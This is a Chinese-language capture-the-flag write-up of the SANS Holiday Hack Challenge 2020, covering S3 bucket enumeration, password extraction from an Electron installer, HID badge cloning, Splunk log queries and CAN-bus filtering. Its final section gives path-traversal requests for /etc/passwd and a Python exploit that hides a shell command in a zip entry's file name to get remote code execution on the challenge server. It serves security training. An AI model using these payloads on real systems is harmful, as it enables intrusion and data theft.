SANS Holiday Hack Challenge 2020: Writeup
2021年1月4日
这是我的SANS Holiday Hack Challenge 2020解题记录。挑战分为主要目标和额外终端两部分。游戏中它们交错出现,因为解决终端会为主目标提供线索,但这里我将它们分为两个部分。
主要目标
共有11个主要目标,如果将第十一目标的两部分分开计算,实际上是12个。
目标1:揭露圣诞老人的礼物清单
第一个目标相当简单。我们需要去混淆礼物清单,看看Josh想要什么。
幸运的是,应用于图像的旋转效果可以撤销。可能可以通过更复杂的方法获得非常清晰的图像,但我只是将图像裁剪到仅清单部分,然后向相反方向旋转,得到以下结果:
我们勉强可以看出圣诞老人计划给Josh的礼物是proxmark。
答案:proxmark
目标2:调查S3桶
在这个挑战中,我们的任务是调查一些S3桶,以找到来自“Wrapper3000”的数据。我们可以从查看提示开始,然后运行桶查找工具。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
elf@76557ddc9100:~$ ls
TIPS bucket_finder
elf@76557ddc9100:~$ cat TIPS
# TIPS
- 如果需要编辑器创建文件,可以运行nano(也可用vim)。
- 解决此挑战所需的一切都在此终端会话中提供。
elf@76557ddc9100:~/bucket_finder$ ./bucket_finder.rb wordlist
...
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
Bucket found but access denied: santa
|
我们找到几个桶,但没有我们可以访问的。然而,如果我们将“wrapper3000”添加到我们的单词列表并再次尝试,我们会找到感兴趣的桶。然后我们可以使用该工具下载桶的内容。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
elf@76557ddc9100:~/bucket_finder$ echo "wrapper3000" >> wordlist
elf@76557ddc9100:~/bucket_finder$ ./bucket_finder.rb wordlist
...
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
<Public> http://s3.amazonaws.com/wrapper3000/package
elf@76557ddc9100:~/bucket_finder$ ./bucket_finder.rb --download wordlist
...
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
<Downloaded> http://s3.amazonaws.com/wrapper3000/package
|
检查此文件,我们可以看到它是base64编码的数据。解码后得到一个zip文件,其中包含一个经过多层编码的文件。通过依次使用适当的Linux工具,我们可以解码数据并获得最终答案。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
elf@76557ddc9100:~/bucket_finder$ base64 -d wrapper3000/package > package.dat
elf@76557ddc9100:~/bucket_finder$ file package.dat
package.dat: Zip archive data, at least v1.0 to extract
elf@76557ddc9100:~/bucket_finder$ unzip package.dat
Archive: package.dat
extracting: package.txt.Z.xz.xxd.tar.bz2
elf@76557ddc9100:~/bucket_finder$ tar xf package.txt.Z.xz.xxd.tar.bz2
elf@76557ddc9100:~/bucket_finder$ xxd -r package.txt.Z.xz.xxd > package.txt.Z.xz
elf@76557ddc9100:~/bucket_finder$ tar xf package.txt.Z.xz
elf@76557ddc9100:~/bucket_finder$ xzcat package.txt.Z.xz>package.txt.Z
elf@76557ddc9100:~/bucket_finder$ zcat package.txt.Z
North Pole: The Frostiest Place on Earth
|
答案:North Pole: The Frostiest Place on Earth
目标3:POS密码恢复
在这个挑战中,我们得到一个Electron应用Windows安装程序,我们需要恢复其默认密码。
为了使这更容易,我们首先通过npm安装asar工具。Asar是electron使用的归档格式。
我们需要从安装程序中提取实际的应用数据,包含在“app-64.7z”文件中。这可以用7-zip完成。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
$ sudo npm install -g asar
$ 7z l santa-shop.exe
...
Listing archive: santa-shop.exe
...
Date Time Size Compressed Name
------------------- ----- ------------ ------------------------
6931 $PLUGINSDIR/System.dll
45608 $PLUGINSDIR/StdUtils.dll
4615 $PLUGINSDIR/SpiderBanner.dll
2027 $PLUGINSDIR/nsProcess.dll
3299 $PLUGINSDIR/nsExec.dll
2020-12-04 18:47:24 49323645 49323645 $PLUGINSDIR/app-64.7z
242382 $PLUGINSDIR/nsis7z.dll
2020-12-04 18:47:26 113298 Uninstall santa-shop.exe
1080 $PLUGINSDIR/WinShell.dll
------------------- ----- ------------ ------------------------
2020-12-04 18:47:26 49323645 49742885 9 files
$ 7z e santa-shop.exe '$PLUGINSDIR/app-64.7z'
|
这个文件本身是一个7-zip归档,我们可以从中提取“app.asar”文件。然后我们使用asar工具从中提取“main.js”文件。
1
2
3
|
$ 7z e app-64.7z resources/app.asar
$ asar e app.asar santa-shop
$ cat main.js
|
查看代码,我们找到包含我们正在寻找的密码的部分。
1
2
3
4
5
|
// Modules to control application life and create native browser window
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const SANTA_PASSWORD = 'santapass';
|
答案:santapass
目标4:操作Santavator
在整个挑战中,你在四处走动时收集各种物品。这些可用于连接Santavator中的“电路”以前往不同楼层。
使用各种物品,可以为三个不同颜色的插座供电。我的最终配置如下:
这允许我们去任何楼层,除了圣诞老人的办公室,这需要你激活或绕过指纹传感器。这在目标10中描述。
目标5:打开HID锁
找到proxmark后,我们可以去(TODO: ELF NAME)并通过调出proxmark控制台并运行以下命令来克隆他们的卡。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
[magicdust] pm3 --> auto
[=] NOTE: some demods output possible binary
[=] if it finds something that looks like a tag
[=] False Positives ARE possible
[=]
[=] Checking for known tags...
[=]
Noel Boetie: #db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000
Bow Ninecandle: #db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023
[+] Valid HID Prox ID found!
|
然后我们可以获取这些数据,去工作室的锁着的门,再次调出proxmark控制台,并用以下命令欺骗卡。
1
2
3
4
|
[magicdust] pm3 --> lf hid sim -w H10301 --fc 113 --cn 6023
[=] Simulating HID tag
[+] [H10301] - HID H10301 26-bit; FC: 113 CN: 6023 parity: valid
[=] Stopping simulation after 10 seconds.
|
这打开了门并完成了目标。
目标6:Splunk挑战
这个挑战要求我们首先解决一系列日志分析挑战,最终问题给出目标的答案。
问题1:Alice模拟了多少种不同的MITRE ATT&CK技术?
问题2:包含模拟企业ATT&CK技术1059.003结果的两个索引的名称是什么?
我们可以使用以下查询来统计存储在不同索引中的各种攻击:
1
|
| tstats count where index=* by index
|
这给出了前两个问题的答案。
答案1:13
答案2:t1059.003-main t1059.003-win
问题3:圣诞老人让我们模拟的一种技术涉及“系统信息发现”。查询以确定MachineGuid的注册表项的全名是什么?
让我们转到“Atomic Red Team”的GitHub仓库,这些攻击取自那里,并搜索“系统信息 discovery”。阅读结果,我们找到T-1082 - 测试8,这给出了答案。
答案3:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
问题4:根据Splunk Attack Range记录的事件,第一个OSTAP相关的原子测试是什么时候执行的?
让我们搜索“attack”索引中包含“ostap”的所有条目,并按执行时间升序排序以找到答案。
1
2
|
index=attack
index=attack ostap | sort + "Execution Time _UTC"
|
答案4:2020-11-30T17:44:15Z
问题5:Attack Range执行的一个Atomic Red Team测试使用了frgnca在GitHub上 authored 的开源包。根据Splunk中的Sysmon(事件代码1)事件,与此组件首次使用相关的ProcessId是什么?
查看frgnca的GitHub个人资料,我们找到一个可能相关的仓库:AudioDeviceCmdlets。在Atomic Red Team仓库中搜索这个,引导我们到T-1123文章。在此攻击的索引中搜索“WindowsAudioDevice”并查找事件代码1的事件,我们找到答案:
1
|
index=t1123* EventCode=1 WindowsAudioDevice
|
答案5:3648
问题6:Alice运行了攻击者滥用Windows注册表运行键的模拟。这种技术利用了一个多行批处理文件,该文件也被其他一些技术使用。作为此模拟一部分使用的此多行批处理文件的最终命令是什么?
再次,我们可以在Atomic Red Team仓库中搜索“run keys”。这给出了许多结果,但唯一在日志中发现的,如问题1中所见,是T-1547。使用这里的描述,我们可以在T-1547索引中搜索“bat”和“CurrentVersion”。
1
2
|
index=t1547* bat
index=t1547* "CurrentVersion"
|
这引导我们到一个名为Discovery.bat的批处理文件,我们可以在GitHub仓库中查找,并看到它以“quser”命令结束。
答案6:quser
问题7:根据Zeek(以前称为Bro)捕获的x509证书事件,攻击范围中分配给Windows域控制器的TLS证书的序列号是什么?
通过搜索所有索引中来自bro的事件并查找包含“serial”的事件,我们快速找到证书的序列号。
1
|
"index=* sourcetype=bro* serial"
|
答案7:55FCEEBB21270D9249E86F4B9DC7AA60
所有常规问题回答完毕后,我们得到一个最终消息,其中包含密文和一些提示。
最后一个使用你最喜欢的短语加密!base64编码的密文是:
7FXjP1lyfKbyDK/MChyf36h7
它使用一种使用密钥的旧算法加密。我们在这里不关心RFC 7465!我让精灵们确定是哪一个!
引用的算法是RC4。现在我们只需要密钥。另一条消息指明了方向。
我不敢相信Splunk folks把它放在他们的演讲中!
演讲可在YouTube上找到,跳到18:31标记,我们得到短语“Stay Frosty”。将这一切放在一起,我们可以在Python中解密密文以获得目标的答案。
1
2
3
|
> from arc4 import ARC4
> ARC4('Stay Frosty').decrypt(base64.b64decode("7FXjP1lyfKbyDK/MChyf36h7"))
b'The Lollipop Guild'
|
答案:The Lollipop Guild
目标7:解决雪橇的CAN-D-BUS问题
这个挑战的目标是过滤掉Jack注入的错误消息。有不同的方法,但我基本上从过滤掉所有消息开始,然后一次移除一个过滤器,以了解雪橇的什么功能对应什么消息。功能是:加速器、刹车、转向、锁定/解锁和启动/停止。通过一次操作这些功能,我们可以看到有一个ID为“19B”的消息对应锁定/解锁功能,不时被注入。消息的值为“0000000F2057”,与任何有效值“00000F000000”或“000000000000”不匹配。因此我们应该过滤掉它。通过检查其他每个功能,我们可以发现消息ID“080”对应刹车,似乎有一个0-100的有效范围,但我们也看到像“FFFFF8”这样的值,可以解释为有符号负数,所以让我们过滤掉ID为080的任何小于0的值。这两个过滤器一起解决了挑战。
1
2
|
ID 19B Message Equals 0000000F2057
ID 080 Message Less 000000000000
|
目标8:损坏的标签生成器
在这个挑战中,我们面对一个易受攻击的Web应用程序,我们想要泄漏一个环境变量。如果我们上传一个图像到应用程序,我们观察到它然后从以下URL提供:
1
|
https://tag-generator.kringlecastle.com/image?id=c18cdbeb-fc95-4b35-946e-98ef2c135cae.png
|
这闻起来像LFI。让我们尝试访问passwd文件来测试这个假设:
1
2
3
4
|
$ curl 'https://tag-generator.kringlecastle.com/image?id=../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
...
app:x:1000:1000:,,,:/home/app:/bin/bash
|
这似乎有效。现在我们想泄漏应用程序的源代码,以便寻找其他漏洞,但我们不知道应用程序的路径。然而,如果我们尝试一个无效的路径,我们会得到一个很好的错误消息。
1
2
3
4
|
curl 'https://tag-generator.kringlecastle.com/image?id=../'
<h1>Something went wrong!</h1>
<p>Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/../</p>
|
现在有了代码的路径,我们可以泄漏它并开始阅读。
1
|
curl 'https://tag-generator.kringlecastle.com/image?id=../../../../app/lib/app.rb' > app.rb
|
查看代码,我们可以看到处理上传文件的方式有问题。代码的相关部分如下所示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
def handle_zip(filename)
...
Zip::File.open(filename) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
...
# I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end
...
# Extract to file or directory based on name in the archive
entry.extract(out_file) {
...
}
# Process it
out_files << process_file(out_file)
end
end
return out_files
end
def handle_image(filename)
...
Thread.new do
if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
...
end
end
...
end
def process_file(filename)
...
if filename.downcase.end_with?('zip')
# Append the list returned by handle_zip
out_files += handle_zip(filename)
elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
# Append the name returned by handle_image
out_files << handle_image(filename)
...
end
return out_files
end
def process_files(files)
return files.map { |f| process_file(f) }.flatten()
end
|
在单独线程中运行的system命令接受一个文件名,并直接在命令中使用它,而没有适当的转义。如果我们能控制文件名,这将是一个命令行注入漏洞。然而,process_file函数中使用的文件名不是上传期间提供的文件名,而是Web框架生成的临时名称。但是,应用程序支持处理上传的zip文件,如果zip文件包含图像,这些图像将使用我们控制的文件名通过process_file函数处理。调用链因此将看起来像这样:
1
|
process_files -> process_file -> handle_zip -> process_file -> handle_image -> system -> RCE
|
我们可以使用的名称有一些限制,因为“extract”函数需要成功,但考虑到这一点,我们可以构建以下攻击脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
#!/usr/bin/env python3
import ast
import time
import requests
import io
import zipfile
BASE_URL = 'https://tag-generator.kringlecastle.com'
with io.BytesIO() as fout:
with zipfile.ZipFile(fout, 'w') as zip_out:
zip_out.writestr("';printenv>zetatwo.jpg;cp 'zetatwo.jpg", 'fake content')
fout.seek(0)
r = requests.post(BASE_URL + '/upload', files={'my_file[]': ('attack.zip', fout)})
filename = ast.literal_eval(r.text)[0]
print(filename)
time.sleep(2)
r = requests.get(BASE_URL + '/image', params={'id': filename})
print(r.text)
|
运行这将创建一个zip文件,其中包含一个文件名中带有命令注入的文件,将其上传到服务器,等待单独线程完成,然后检索输出。
1
2
3
4
|
> python3 solve-badge.py
9ebd31a5-60a1-415e-a7b2-33d94d8c346c.jpg
RUBY_MAJOR=2.7
GREETZ=JackFrost
|